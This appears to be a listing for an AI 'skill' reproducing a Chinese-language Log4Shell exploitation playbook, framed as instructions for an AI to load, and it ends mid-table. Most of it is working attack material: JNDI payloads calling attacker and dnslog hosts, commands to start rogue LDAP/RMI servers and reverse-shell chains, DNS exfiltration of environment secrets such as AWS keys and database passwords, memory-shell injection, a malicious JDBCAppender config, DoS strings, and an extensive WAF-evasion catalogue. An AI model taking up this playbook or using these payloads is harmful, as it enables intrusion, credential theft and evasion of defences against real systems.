Log4Shell(CVE-2021-44228)深度利用技能
SkillSecurityLog4Shell(CVE-2021-44228)及 Log4j2 全漏洞家族深度利用专业技能:JNDI Lookup 全链路原理与利用、全变体家族(44228/45046/45105/44832/4104)、现代 JDK 高版本绕过矩阵(8u191/17/21+)、Lookup 扩展攻击面(env/sys/ctx/k8s 信息泄露)、WAF 绕过全技术、不出网利用、供应链场景、Log4Shell→RCE→内网渗透完整链、带内/带外检测方法论、AI 大模型辅助攻防
Available today. Use it from your connected AI after setup.
No other account needed.
Connect ahel once, and every AI you use reads what you have installed.
Then ask your AI: use the Log4Shell(CVE-2021-44228)深度利用技能 skill
What this skill tells your AI
The instructions your AI receives, as published by langbyyi/cyberstrikeai-src in skills/log4shell-exploitation/SKILL.md and read by ahel’s review.
AI LOAD INSTRUCTION: Log4Shell(CVE-2021-44228)全链路利用专家打法。按已知前提:JNDI 注入原理(细节见 jndi-injection 细分包)。聚焦触发面发现→JDK 版本判定→高版本绕过矩阵→不出网利用→变体 WAF 对抗。
概述
Log4Shell 是 Apache Log4j2 日志组件中被低估的"消息模板引擎"所引入的远程代码执行漏洞(CVSS 10.0),影响 Log4j 2.0-beta9 至 2.14.1,被公认为影响面最广的 Java 漏洞。2021 年底爆发后,攻击者数小时内便将其武器化,蠕虫、挖矿木马、勒索软件蜂拥而至,CISA/FBI/NSA 联合发出紧急通告。时至今日(2026 年),仍有约 3% 的存量 Java 系统因遗留依赖、不完整修复或供应链间接引入而持续暴露。
本技能站在资深攻防专家视角,系统化覆盖漏洞探测→JNDI 利用→全变体家族→JDK 版本绕过→Lookup 攻击面→不出网利用→WAF 绕过→供应链排查→RCE→内网渗透→检测方法论→AI 辅助攻防完整攻击链,既是红队实战手册,也是蓝队检测与修复的对照参考。
核心概念
- Message Lookup(消息 Lookup):Log4j2 在格式化日志消息时,对
${...}语法做递归求值。${jndi:...}只是其中一种内置 Lookup,全部内置 Lookup 见第五章 - JNDI(Java Naming and Directory Interface):Java 的命名/目录服务抽象层,支持 LDAP/RMI/DNS/CORBA/IIOP 等协议。Log4j2 的
JndiLookup把用户可控字符串直接交给InitialContext.lookup(),导致不可信日志内容驱动 JNDI 解析 - Reference(引用):LDAP/RMI 服务器可返回一个 Reference 对象,指向远程 codebase 上的恶意类;旧版 JDK 会无条件下载并实例化 → RCE
- PatternLayout 与配置 Lookup:日志输出模板(如
%X{loginId}、${ctx:loginId})中的 Lookup 与消息 Lookup 是两条独立求值分支,CVE-2021-45046/45105 正源于此 - 信任开关:
com.sun.jndi.ldap.object.trustURLCodebase、com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.ldap.object.trustSerialData三个 JVM 属性决定 JNDI 攻击能否成功,详见第四章绕过矩阵 - 关键教训:任何用户可控数据进入任何日志记录点(哪怕只是 INFO 级、哪怕只记录访问日志)即可能触发。攻击面不是"有没有日志",而是"日志记录了什么"
安全演进时间线
| 时间 | 事件 | 说明 |
|---|---|---|
| 2016 | BlackHat 议题公开 JNDI 注入 | 根因先于 Log4Shell 五年被公开 |
| 2021-11-24 | 阿里云安全团队发现并报告 | 漏洞代号 Log4Shell |
| 2021-12-01 | 首次野外利用被观测 | 攻击面快速武器化 |
| 2021-12-05 | Log4j 2.15.0 发布 | 修复不完整(仅禁 JNDI 消息 Lookup) |
| 2021-12-09 | PoC 大规模公开 | Checkpoint 观测日均 40 万次攻击 |
| 2021-12-10 | CVE-2021-45046 披露 | 2.15.0 绕过:PatternLayout+ctx Lookup 仍可 RCE;2.16.0 修复 |
| 2021-12-14 | CVE-2021-45105 披露 | 递归 Lookup 导致 StackOverflowError DoS;2.17.0 修复 |
| 2021-12-15 | CVE-2021-4104 披露 | Log4j 1.x JMSAppender 反序列化 RCE,1.x 已 EOL 无补丁 |
| 2021-12-28 | CVE-2021-44832 披露 | 2.17.0 的 JDBCAppender 配置反序列化 RCE;2.17.1 修复 |
| 2022+ | 变体武器化持续 | Muhstik/Mirai 僵尸网络、挖矿木马、勒索利用 |
| 2025-2026 | 存量暴露持续 | 遗留系统+隐藏依赖+不完整修复,Scan 工具与 WAF 绕过仍是攻防焦点 |
影响范围
- Log4j 2.0-beta9 ≤ version ≤ 2.14.1(CVE-2021-44228 本体)
- Log4j 2.x < 2.16.0(CVE-2021-45046);2.x < 2.17.0(CVE-2021-45105);2.17.0(CVE-2021-44832)
- Log4j 1.x 全版本(CVE-2021-4104,EOL)
- JDK 6u211 / 7u201 / 8u191 / 11.0.1 之前:LDAP+RMI 均可直接利用;更高版本需绕过(见第四章)
一、漏洞探测与指纹识别
1.1 注入点全集
所有用户可控输入都是潜在注入点:
# HTTP 层
- URL 路径与查询参数(含 404 记录路径)
- POST Body(form/json/xml/multipart)
- HTTP Headers(User-Agent/X-Forwarded-For/Referer/Cookie/Authorization/X-Api-Version)
- TLS SNI / HTTP 方法名(被访问日志记录)
- 上传文件名/附件名
# 业务层
- 用户名/密码(登录失败日志,经典注入点)
- 搜索关键词(搜索日志)
- API 参数(请求/响应日志)
- 错误消息(异常日志)
- 聊天消息(Minecraft/IM 类)
# 协议层
- SMTP 邮件头(Subject/From/To)
- SIP/VoIP 头
- LDAP 查询参数
- XMPP 消息
- MDC/ThreadContext 输入(配合 ${ctx:} 配置)
# 云原生层
- Pod/容器名、命名空间、标签(k8s lookup 场景)
- 配置中心下发的动态配置
1.2 DNSLog 带外探测(首选)
基础探测:
${jndi:ldap://xxxxx.dnslog.cn/exp}
${jndi:rmi://xxxxx.dnslog.cn/exp}
${jndi:dns://xxxxx.dnslog.cn/exp}
${jndi:iiop://xxxxx.dnslog.cn/exp}
# DNS-only 探测是最可靠信号:出站 DNS 通常比 LDAP/RMI 更少被 egress 过滤
${jndi:dns://uid-xxxx.oast.example/x}
每个注入点使用唯一子域名,便于归因到具体字段:
curl https://target.example/ \
-H 'User-Agent: ${jndi:ldap://uid-001.dnslog.cn/ua}' \
-H 'Referer: ${jndi:ldap://uid-002.dnslog.cn/ref}' \
-H 'X-Forwarded-For: ${jndi:ldap://uid-003.dnslog.cn/xff}' \
-H 'X-Api-Version: ${jndi:ldap://uid-004.dnslog.cn/api}'
1.3 嵌套外带与版本指纹
嵌套探测(绕过简单过滤 + 外带环境信息):
${jndi:ldap://${env:HOSTNAME}.xxxxx.dnslog.cn/exp}
${jndi:ldap://${sys:java.version}.xxxxx.dnslog.cn/exp}
${jndi:ldap://${sys:java.vendor}.xxxxx.dnslog.cn/exp}
${jndi:ldap://${sys:os.name}.xxxxx.dnslog.cn/exp}
${jndi:ldap://${sys:user.name}.xxxxx.dnslog.cn/exp}
${jndi:ldap://${date:yyyy-MM-dd}.xxxxx.dnslog.cn/exp}
版本指纹:
${jndi:ldap://${sys:java.class.path}.dnslog.cn/a}
# 从 ClassPath 识别 log4j 版本:log4j-core-2.14.1.jar → 存在漏洞
# 但注意:若只有 log4j-api 无 log4j-core,则不触发(核心逻辑在 core)
${jndi:ldap://${sys:java.runtime.version}.dnslog.cn}
# 1.8.0_292 → JDK 8u292(需绕过);1.8.0_181 → 可直接利用
错误响应判断:
${jndi:ldap://invalid-host:1389/test}
# 观察响应时间(DNS 解析超时)与错误堆栈,堆栈中常泄露 log4j 类名与版本
1.4 已知受影响系统
| 系统/产品 | 注入点 | 备注 |
|---|---|---|
| VMware vCenter | 登录用户名 | 多个 CVE,历史上被 APT 大规模利用 |
| VMware Horizon | 认证请求 | |
| Apache Solr | 查询参数 | Solr 7.x/8.x |
| Apache Struts2 | S2-062 参数 | |
| Apache Flink | REST API | |
| Apache Druid | 查询参数 | |
| Apache Kafka/Strimzi | 日志字段 | 云原生场景高频命中 |
| Cisco Unified | SIP 头 | |
| Fortinet FortiADC | 日志字段 | |
| SonicWall | 管理界面 | |
| Minecraft (Java) | 聊天消息 | 触发最早的大众化利用场景 |
| iCloud / Tesla / Apple | 设备名称/车载系统 | |
| 各类 WAF/IDS/日志平台 | 日志字段 | 安全产品自身也是受害者 |
| Elasticsearch/Logstash | 日志收集字段 | 日志链路自身可成为传播通道 |
二、JNDI 注入利用原理与完整利用链
2.1 JNDI 与 Lookup 机制原理
用户输入 ${jndi:ldap://attacker/exploit} 进入日志字段
→ Logger.info/error(...) 触发 Message Lookup 递归求值
→ StrSubstitutor 识别 ${jndi:...} 前缀,路由到 JndiLookup
→ JndiManager.lookup("ldap://attacker/exploit")
→ InitialContext.lookup() 连接攻击者 LDAP/RMI 服务器
→ 服务器返回 Reference / 序列化对象
→ 客户端实例化恶意类 / 反序列化 Gadget → RCE
注意:Log4j 递归解析最多 16 层;2.15.0 修复了 JNDI 消息 Lookup 但未修复配置 Lookup 分支(CVE-2021-45046)。
2.2 LDAP 利用链(标准出网,首选)
搭建 JNDI 服务器:
# marshalsec(经典工具)
java -cp marshalsec.jar marshalsec.jndi.LDAPRefServer http://attacker:8888/#Exploit 1389
# JNDIExploit(推荐,内置多利用链)
java -jar JNDIExploit.jar -i attacker_ip -p 8888
# Rogue-Jndi(高版本 JDK 绕过)
java -jar rogue-jndi.jar -c "bash -c {echo,base64_cmd}|{base64,-d}|{bash,-i}" -n attacker_ip
# JNDIMap(新一代全功能,支持多协议+多种高版本 JDK 绕过)
java -jar JNDIMap.jar -i attacker_ip -r 1099 -l 1389 -p 3456
# ysoserial(JRMP 服务,配合序列化链)
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections6 "calc.exe"
触发利用:
${jndi:ldap://attacker:1389/exploit}
${jndi:ldap://attacker:1389/TomcatBypass/Command/Base64_encoded_cmd}
${jndi:ldap://attacker:1389/TomcatEchoInject} # Tomcat 回显
${jndi:ldap://attacker:1389/TomcatMemShell1} # Tomcat 内存马
${jndi:ldap://attacker:1389/SpringEcho} # Spring 回显
${jndi:ldap://attacker:1389/SpringMemShell} # Spring 内存马
2.3 RMI 利用链
${jndi:rmi://attacker:1099/exploit}
# marshalsec RMI 服务器
java -cp marshalsec.jar marshalsec.jndi.RMIRefServer http://attacker:8888/#Exploit 1099
RMI 注意点:8u121 起 RMI codebase 加载已被限制(早于 LDAP 的 8u191),因此现代 JDK 下优先用 LDAP 而非 RMI;RMI 配合 JRMPListener + 本地 Gadget 反序列化在部分场景仍有效。
2.4 IIOP/CORBA 利用链
${jndi:iiop://attacker:1050/exploit}
# IIOP 依赖目标具备 CORBA 运行时(Weblogic 等),无需 codebase 即可反序列化
# 探测阶段用 DNS 协议验证 Lookup 机制即可,实战优先 LDAP
2.5 利用链选择矩阵
| 链名 | 适用环境 | 依赖 | 说明 |
|---|---|---|---|
| 标准 Reference | JDK<8u191 | 无 | 直接远程类加载 |
| TomcatBypass | Tomcat | el-api+el-impl | ELProcessor 绕过(Tomcat<8.5.79) |
| Groovy Bypass | 有 groovy 依赖 | groovy | BeanFactory+GroovyShell |
| SnakeYaml Bypass | 有 snakeyaml 依赖 | snakeyaml | BeanFactory+Yaml.load |
| LDAP 序列化链 | 任意 | 本地 CC/CB 等 Gadget | 返回 javaSerializedData 触发反序列化 |
| JRMP 链 | 任意 | 本地 Gadget | RMI 反序列化 |
| JDBC 链 | DBCP/Hikari/Druid | 对应连接池 | 高版本 JDK 新思路(见 4.5) |
| TomcatEchoInject/SpringEcho | 对应中间件 | 无 | 命令回显 |
| TomcatMemShell1-3/SpringMemShell | 对应中间件 | 无 | 内存马持久化 |
三、Log4Shell 全变体家族
3.1 变体总览
| CVE | CVSS | 类型 | 影响版本 | 修复版本 | 触发条件 |
|---|---|---|---|---|---|
| CVE-2021-44228 | 10.0 | RCE | 2.0-beta9 ~ 2.14.1 | 2.15.0(不完整) | 消息 Lookup 含 jndi |
| CVE-2021-45046 | 9.0 | RCE/信息泄露 | 2.x < 2.16.0 | 2.16.0 | 非默认 PatternLayout + ctx Lookup + MDC 可控 |
| CVE-2021-45105 | 7.5 | DoS | 2.x < 2.17.0 | 2.17.0 | 递归 Lookup → StackOverflowError |
| CVE-2021-44832 | 6.6 | RCE | 2.17.0 | 2.17.1 | 攻击者可控 log4j2 配置 + JDBCAppender |
| CVE-2021-4104 | 7.5 | RCE | 1.x 全版本(EOL) | 无(迁移 2.x) | 可控配置 + JMSAppender + JMS 消息 |
3.2 CVE-2021-44228(Log4Shell 本体)
要点:消息内容中的 ${jndi:...} 无条件触发 JNDI Lookup,与日志级别、是否默认配置无关。攻击者只需把 payload 送入任意被记录的输入。
${jndi:ldap://attacker:1389/Exploit}
3.3 CVE-2021-45046(2.15.0 修复绕过)
核心差异:2.15.0 仅在消息 Lookup 分支禁用 JNDI,但**配置 Lookup(PatternLayout 模板)**分支的 JNDI 仍可用。当日志配置使用非默认 PatternLayout 且包含 Context Lookup(如 ${ctx:loginId})时,攻击者把 ${jndi:...} 塞入 MDC/ThreadContext 输入(登录名等)即可绕过:
# 配置样例(存在该配置才可利用)
<PatternLayout pattern="%d %p %c{1.} [%t] ${ctx:loginId} %m%n"/>
# 攻击者在 loginId 输入中注入
ThreadContext.put("loginId", "${jndi:ldap://attacker:1389/Exploit}")
# HTTP 场景:登录用户名字段
Username: ${jndi:ldap://attacker:1389/Exploit}
利用思路:先探测目标日志配置是否含 ${ctx:} 模板(观察日志输出特征/响应差异),再决定走消息 Lookup 还是配置 Lookup 分支。
3.4 CVE-2021-45105(递归 Lookup DoS)
原理:Log4j 对 Lookup 做递归求值但无深度防护(2.17.0 前),自引用/互引用 Lookup 导致无限递归 → StackOverflowError → 进程崩溃。无需出网即可造成 DoS,是"打不死也能咬一口"的备选手段:
# 自引用(经 MDC/ctx 注入)
${ctx:loginId}
# 若 loginId = ${ctx:loginId} 即无限递归
# 直接递归 jndi
${jndi:ldap://attacker:1389/${jndi:ldap://attacker:1389/${jndi:ldap://attacker:1389/...}}}
3.5 CVE-2021-44832(JDBCAppender 配置反序列化)
原理:Log4j 2.17.0 的 JDBCAppender 支持通过配置加载任意 DataSource(含 JNDI DataSource),若攻击者能控制 log4j2 配置文件(任意文件写入、配置中心投毒、其他漏洞组合),可让 JDBCAppender 指向恶意 JNDI 数据源触发 RCE。利用前提是配置可控,属于"需要一次先行漏洞/写文件能力"的复合链,详见第八章。
3.6 CVE-2021-4104(Log4j 1.x JMSAppender)
原理:Log4j 1.x 的 JMSAppender 会对收到的 JMS 消息执行反序列化(不校验类型),攻击者控制配置 + 向目标 JMS 队列投递恶意序列化对象 → RCE。1.x 已 EOL 无官方补丁,只能升级 2.x 或移除 JMSAppender。
# 1.x 配置存在 JMSAppender 即为风险
<appender name="JMS" class="org.apache.log4j.net.JMSAppender">
<param name="TopicConnectionFactoryBindingName" value="..."/>
</appender>
3.7 相关生态漏洞
- Logback CVE-2021-42550:Log4j 前传者的 JNDI 问题(logback 1.2.7 前),同样的 JNDI 模式
- Log4j 2.17.1 后续:2.17.2+ 仍有若干中低危(如 CVE-2022-23302/23305/23307),建议一律 >= 2.17.1
- log4j-core 缺失时的误判:仅引入 log4j-api 不触发 JNDI(核心在 core 包),扫描时注意区分
四、现代 JDK 版本下的绕过矩阵
4.1 JDK 限制演进
JDK < 8u121 RMI codebase 可加载远程类
JDK 8u121 RMI trustURLCodebase 默认 false(修复 RMI)
JDK 8u191/11.0.1 LDAP trustURLCodebase 默认 false(修复 LDAP)
JDK 21 com.sun.jndi.ldap.object.trustSerialData 默认 false(修复 LDAP 反序列化)
4.2 绕过矩阵(>=8u191 核心)
| JDK 版本 | LDAP codebase | RMI codebase | LDAP trustSerialData | 首选绕过思路 |
|---|---|---|---|---|
| <6u211/7u201/8u191/11.0.1 | 允许 | 允许 | 允许 | 直接 Reference 远程类 |
| 8u121 ~ 8u191 | 允许 | 禁止 | 允许 | LDAP Reference(RMI 不可用) |
| 8u191+ ~ 16 | 禁止 | 禁止 | 允许 | LDAP 序列化对象 + 本地 Gadget / BeanFactory |
| JDK 17 | 禁止 | 禁止 | 允许 | BeanFactory(Groovy/SnakeYaml) / 本地 Gadget |
| JDK 21+ | 禁止 | 禁止 | 默认禁止 | Reference-only 绕过 / NativeLibLoader / MLet / JDBC 链 |
4.3 LDAP 序列化反序列化绕过(本地 Gadget)
原理:trustURLCodebase=false 只禁止远程类加载,但 LDAP 响应中的 javaSerializedData 属性仍会被反序列化(直到 JDK 21 才默认关闭)。返回序列化的恶意对象 → 触发目标本地反序列化 Gadget:
# 条件:目标存在 CC/CB 等反序列化链依赖
# JNDIExploit:marshalsec LDAP + 序列化数据
java -cp marshalsec.jar marshalsec.jndi.LDAPRefServer CommonsCollections6 "calc.exe"
# JNDIMap 显式反序列化路由
${jndi:ldap://attacker:1389/Deserialize/CommonsCollections6/<base64-url-cmd>}
4.4 BeanFactory + ELProcessor / Groovy / SnakeYaml(高版本 JDK 首选)
原理:org.apache.naming.factory.BeanFactory(Tomcat<8.5.79 内置)是本地类,其 getObjectInstance() 支持以 forceString 属性指定任意 setter 为静态方法调用——把 ELProcessor 的 eval 当 setter 触发,即可执行任意 EL 表达式。全程无远程类加载、无 trustSerialData 依赖,JDK 21 仍有效:
# EL 表达式:执行命令
"".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval("java.lang.Runtime.getRuntime().exec('id')")
# 或通用 ProcessBuilder
new java.lang.ProcessBuilder(new String[]{"/bin/sh","-c","id"}).start()
# JNDIExploit / JNDIMap 一键路由
${jndi:ldap://attacker:1389/TomcatBypass/Command/Base64_encoded_cmd}
${jndi:ldap://attacker:1389/GroovyBypass/Command/base64_url_cmd} # 需 groovy
${jndi:ldap://attacker:1389/SnakeYamlBypass/Command/base64_url_cmd} # 需 snakeyaml
局限:BeanFactory 依赖 Tomcat 环境(Tomcat < 8.5.79),无 Tomcat 时退化为 4.3 序列化链或 4.5 新思路。
4.5 JDK 21+ 新限制与对抗(2025 前沿)
trustSerialData 默认关闭后,LDAP 不再反序列化 javaSerializedData,旧有"LDAP 序列化对象"套路失效。当前对抗思路:
- Reference-only(JNDIMap
-useReferenceOnly):LDAP 直接以属性形式返回 Reference 对象,绕过对序列化数据的限制(RMI/LDAP 均可) - JDBC 链:让目标连接恶意 JDBC URL(MySQL/PostgreSQL/H2)触发驱动内反序列化/SSRF——完全绕开 JNDI trust 限制,是 2022 后 JNDI 绕过的延伸方向:
- H2 RCE:
jdbc:h2:mem:test;INIT=RUNSCRIPT FROM 'http://attacker/poc.sql' - PostgreSQL CVE-2022-21724:socketFactory 指向 Spring ClassPathXmlApplicationContext 加载远程 XML
- H2 RCE:
- NativeLibLoader:返回 native 库引用触发本地动态库加载
- MLet:探测可用 class 后组合利用
# JNDIMap JDBC 示例(目标有连接池可控 JDBC URL 的场景)
ldap://127.0.0.1:1389/TomcatJDBC/Command/base64_url_cmd
ldap://127.0.0.1:1389/DBCP/Command/base64_url_cmd
ldap://127.0.0.1:1389/HikariCP/Command/base64_url_cmd
ldap://127.0.0.1:1389/Druid/Command/base64_url_cmd
4.6 JDK 版本探测
${jndi:ldap://${sys:java.version}.xxxxx.dnslog.cn}
# 1.8.0_292 → 需要绕过;1.8.0_181 → 直接利用
${jndi:ldap://${sys:java.runtime.version}.xxxxx.dnslog.cn}
${jndi:ldap://${sys:java.vm.vendor}.xxxxx.dnslog.cn}
# 用 ${sys:java.version}.${sys:java.runtime.version} 组合压缩探测轮次
五、Lookup 扩展攻击面与信息泄露
5.1 Lookup 家族
| Lookup | 数据来源 | 攻击价值 |
|---|---|---|
${env:VAR} | 环境变量 | 数据库口令/AWS 密钥/令牌(最高价值) |
${sys:prop} | JVM 系统属性 | JDK 版本/ClassPath/用户名/OS |
${java:...} | JVM 内部信息 | runtime/version/vm 信息 |
${ctx:key} | ThreadContext/MDC | 会话/请求上下文数据(CVE-45046 入口) |
${spring:...} | Spring 配置 | 数据源密码等(Spring Boot 环境) |
${bundle:...} | ResourceBundle | 配置文件内容 |
${map:key} | MapMessage | 消息附属数据 |
${main:...} | 启动参数 | 命令行参数 |
${k8s:...} | Kubernetes 元数据 | 集群名/命名空间/容器名(需 log4j-kubernetes) |
${docker:...} | Docker secret | 容器密钥文件(需 log4j-docker) |
${sd:...} | 系统数据 | OS 发行版等 |
${date:...} / ${lower:} / ${upper:} / ${::-} | 转换 | 主要用于 WAF 绕过与嵌套 |
5.2 环境/系统信息泄露(env/sys)
# 环境变量外带(无需 RCE,仅触发 Lookup 即泄露)
${jndi:ldap://${env:AWS_ACCESS_KEY_ID}.xxxxx.dnslog.cn}
${jndi:ldap://${env:AWS_SECRET_ACCESS_KEY}.xxxxx.dnslog.cn}
${jndi:ldap://${env:DATABASE_PASSWORD}.xxxxx.dnslog.cn}
${jndi:ldap://${env:SECRET_KEY}.xxxxx.dnslog.cn}
${jndi:ldap://${env:KUBERNETES_SERVICE_HOST}.xxxxx.dnslog.cn}
${jndi:ldap://${env:PATH}.xxxxx.dnslog.cn}
# 系统属性外带
${jndi:ldap://${sys:java.class.path}.xxxxx.dnslog.cn} # ClassPath→版本指纹
${jndi:ldap://${sys:user.name}.xxxxx.dnslog.cn}
${jndi:ldap://${sys:user.home}.xxxxx.dnslog.cn}
${jndi:ldap://${sys:os.name}.${sys:os.arch}.${sys:os.version}.xxxxx.dnslog.cn}
5.3 应用配置泄露(spring/bundle/map)
# Spring Boot:application.properties / yml 中的敏感键
${jndi:ldap://${spring:application.name}.xxxxx.dnslog.cn}
${jndi:ldap://${spring:spring.datasource.url}.xxxxx.dnslog.cn}
${jndi:ldap://${spring:spring.datasource.password}.xxxxx.dnslog.cn}
# 需先探明可用键:${spring:} 对未知键返回原样,逐个枚举常见键名
# ResourceBundle 读配置(已知 bundle 名时)
${jndi:ldap://${bundle:application:database.password}.xxxxx.dnslog.cn}
5.4 云原生泄露(k8s/docker)
# 需 log4j-kubernetes 组件(2.13.0+ 官方支持)
${jndi:ldap://${k8s:clusterName}.xxxxx.dnslog.cn}
${jndi:ldap://${k8s:namespace}.xxxxx.dnslog.cn}
${jndi:ldap://${k8s:containerName}.xxxxx.dnslog.cn}
${jndi:ldap://${k8s:podName}.xxxxx.dnslog.cn}
# Docker secret(log4j-docker 组件)
${jndi:ldap://${docker:secret:...}.xxxxx.dnslog.cn}
# 结合云元数据:拿到 Pod 权限后可访问 169.254.169.254 云厂商 IAM
5.5 线程上下文(ctx)与 CVE-2021-45046
# ctx Lookup 是 CVE-2021-45046 的入口,也是信息泄露通道:
# 若 PatternLayout 含 ${ctx:xxx},攻击者可控 MDC 值时直接:
ThreadContext.put("loginId", "${jndi:ldap://${env:DATABASE_PASSWORD}.dnslog.cn}")
# 注意:ctx 值在被写回模板时会再次 Lookup 求值 → 泄露 env
5.6 信息外带组合技
# 一次请求多字段外带(提升效率)
${jndi:ldap://${env:HOSTNAME}.${env:USER}.${sys:java.version}.dnslog.cn}
# 命令执行后的结果外带(配合 RCE)
# 目标执行:curl http://dnslog.cn/$(whoami | base64)
# 或:whoami | xxd -p | tr -d '\n' | xargs -I{} nslookup {}.dnslog.cn
# 注意 DNS 标签长度限制(63 字符/段),超长需 base64 分段
六、不出网利用
6.1 不出网场景判定
1. DNSLog 无响应 → 目标完全不出网
2. LDAP/RMI 连接失败但 DNS 通 → 仅 DNS 出网
3. 仅允许内网 → 内网部署 JNDI 服务器
4. 完全不出网 → 本地 Gadget / 文件写入 / DoS
6.2 DNS 隧道外带命令执行结果
# 目标执行命令并通过 DNS 外带结果(每段≤63字符)
# whoami | xxd -p | tr -d '\n' | head -c 63 | xargs -I{} nslookup {}.dnslog.cn
${jndi:ldap://attacker:1389/Command/Base64_bash_reverse_dns}
6.3 内网 JNDI 服务器 + 本地 Gadget
条件:
- 目标与内网某主机可达(可通过 SSRF/反序列化先打下一台内网主机部署 JNDI)
- 目标存在 CC/CB/C3P0 等反序列化链依赖
流程:
1. 通过其他漏洞(Fastjson/Weblogic/SSRF)在内网主机部署恶意 LDAP/RMI 服务
2. 生成匹配目标依赖的 Gadget 链
3. LDAP 返回序列化数据 → Log4j 反序列化 → RCE
6.4 回显利用(不出网 RCE)
# Tomcat 环境:JNDIExploit TomcatEchoInject
${jndi:ldap://attacker:1389/TomcatEchoInject}
# 注入后通过特定 Header 传命令,响应回显
# Spring Boot:SpringEcho
${jndi:ldap://attacker:1389/SpringEcho}
# 内存马 + 冰蝎/哥斯拉/Suo5:无回显时的持久化交互方案
${jndi:ldap://attacker:1389/TomcatMemShell1?path=/api/v1/health&pass=key123}
6.5 DoS 利用(无 RCE 兜底)
# 1. 递归解析 CPU/栈耗尽(CVE-2021-45105)
${jndi:ldap://attacker:1389/${jndi:ldap://attacker:1389/${jndi:ldap://attacker:1389/...}}}
${${::-${::-${::-${::-${::-${::-j}}}}}}}
# 2. 无限循环嵌套
# 3. 高耗时 LDAP 服务器拖延线程(配合并发可耗尽连接池)
# 注意:DoS 手段谨慎使用,属于破坏性测试,需授权确认
6.6 文件写入利用
# Lookup 本身不能写文件,但可利用 RCE 或配置漏洞组合:
# 1. RCE 后:echo payload > webroot/shell.jsp
# 2. 配置文件可控(CVE-2021-44832 前置):改写 log4j2.xml 加载恶意 Appender
# 3. ${bundle:} 读取资源 → 结合路径穿越写回
# 不出网写文件的直接手段依赖本地 Gadget 链(如 TemplatesImpl 变形),参照 Fastjson 技能
七、WAF 绕过全技术
7.1 关键字拆分与嵌套(核心原理)
Log4j2 递归求值 ${...},且 Lookup 名称本身可被嵌套 Lookup 拼接——这是绕 WAF 的根本武器:
# 基础拆分:把 jndi 拆成 ${lower:j}ndi
${${lower:j}ndi:ldap://attacker/exp}
${${lower:j}${lower:n}${lower:d}${lower:i}:ldap://attacker/exp}
${${::-j}${::-n}${::-d}${::-i}:ldap://attacker/exp}
# 分隔符(:、//)同样可嵌套拼接
${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}//attacker/exp}
# 多层嵌套
${${lower:${lower:j}}ndi:ldap://attacker/exp}
${${env:TEST:-${env:TEST:-${env:NaN:-j}}}ndi:ldap://attacker/exp}
7.2 编码绕过
# URL 编码
%24%7Bjndi%3Aldap%3A%2F%2Fattacker%2Fexp%7D
# Unicode 编码(仅对值部分,Lookup 名称不做 Unicode 解码)
${jndi:\u006cdap://attacker/exp} # \u006c = l
${jndi:ldap://attacker/\u0065xp}
# HTML 实体(表单场景)
${jndi:ldap://attacker/exp}
# Base64 分段 + 重组(依赖业务层解码逻辑)
# 双重 URL 编码(WAF 只解一层时)
%2524%257Bjndi%253Aldap%253A...
7.3 分隔符与语法变形
# 制表符/换行/空格插入(部分解析器容忍)
${jndi:l\tda\tp://attacker/exp}
${jn\ndi:ldap://attacker/exp}
# 大小写混合
${jNdI:LdAp://attacker/exp}
# ${::-} prefix lookup 系列(最隐蔽)
${::-j}ndi:${::-l}dap://attacker/exp
${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://attacker${::-:}${::-1}${::-3}${::-8}${::-9}/${::-e}${::-x}${::-p}
# 用无害 Lookup 填充长度,淹没正则
${jndi:ldap://${env:NaN:-attacker}/exp}
${jndi:ldap://${date:yyyy}.attacker/exp}
7.4 协议与注入位置变换
# 协议替换:ldap→rmi→iiop→dns→corba
${jndi:rmi://attacker/exp}
${jndi:iiop://attacker/exp}
# 注入位置替换(从 body 逐步扩散)
User-Agent: ${jndi:ldap://attacker/exp}
X-Forwarded-For: ${jndi:ldap://attacker/exp}
Referer: ${jndi:ldap://attacker/exp}
Cookie: JSESSIONID=${jndi:ldap://attacker/exp}
Authorization: Basic ${jndi:ldap://attacker/exp}
# URL 路径(404 日志记录路径)
GET /${jndi:ldap://attacker/exp} HTTP/1.1
# TLS SNI / 请求方法 / 文件名
7.5 流量层绕过
1. HTTPS 加密(WAF 不解密则失效)
2. 分块传输(Transfer-Encoding: chunked,payload 分散多 chunk)
3. Gzip/Deflate 压缩(部分 WAF 不解压)
4. multipart/form-data 包裹(部分 WAF 不解析 multipart 内 JSON/表单值)
5. HTTP/2 多路复用(部分传统 WAF 不支持)
6. 参数污染(HPP):同名参数一个带 payload 一个正常值
7. 慢速/分布式低频发送(规避速率型检测)
7.6 绕过策略决策树
被拦截?
├─ 是 → ① 拆分关键字(lower/::-/env:NaN)→ ② 编码变换(URL/Unicode/双编码)
│ → ③ 换协议(ldap→rmi→iiop)→ ④ 换位置(Body→Header→Cookie→URL路径)
│ → ⑤ 流量层(chunked/gzip/HTTPS/HTTP2)→ ⑥ 超长填充+深度嵌套
└─ 否 → 确认命中(DNSLog 回调归因)→ 转入利用阶段
八、Log4j2 配置反序列化与其他 RCE 攻击面
8.1 配置注入与 JDBCAppender(CVE-2021-44832)
攻击链:攻击者先获得 log4j2.xml 的改写能力(任意文件写入/配置中心投毒/其他漏洞组合)→ 在配置中插入恶意 JDBCAppender → 加载远程 JNDI DataSource → RCE:
<!-- 恶意配置片段 -->
<Appenders>
<JDBC name="Evil" tableName="x">
<DataSource jndiName="ldap://attacker:1389/Exploit"/>
</JDBC>
</Appenders>
# 触发:正常记录一条日志,JDBCAppender 建立连接即触发 JNDI
# 前置条件:能写配置 + 能触发日志 + JDK 符合利用条件
8.2 JMSAppender(CVE-2021-4104,Log4j 1.x)
# 攻击链:配置含 JMSAppender → 攻击者向 JMS 队列投递序列化恶意对象 → 反序列化 RCE
# 修复:1.x EOL,唯一方案是升级 2.x 或彻底移除 JMSAppender
# 检测:grep 配置中 JMSAppender 出现即告警
8.3 配置 PatternLayout 的 Context Lookup(CVE-2021-45046/45105)
# 非默认配置审计重点(红队侦察目标):
<PatternLayout pattern="%d %p [%t] ${ctx:userId} %m%n"/>
# 含 ${ctx:...} 或 %X{...} 的模板 = CVE-2021-45046 可利用 + CVE-2021-45105 DoS 入口
# 侦察方法:观察日志模板输出;触发后对比响应/行为差异
8.4 其他 RCE 路径汇总
| 路径 | 前提 | 说明 |
|---|---|---|
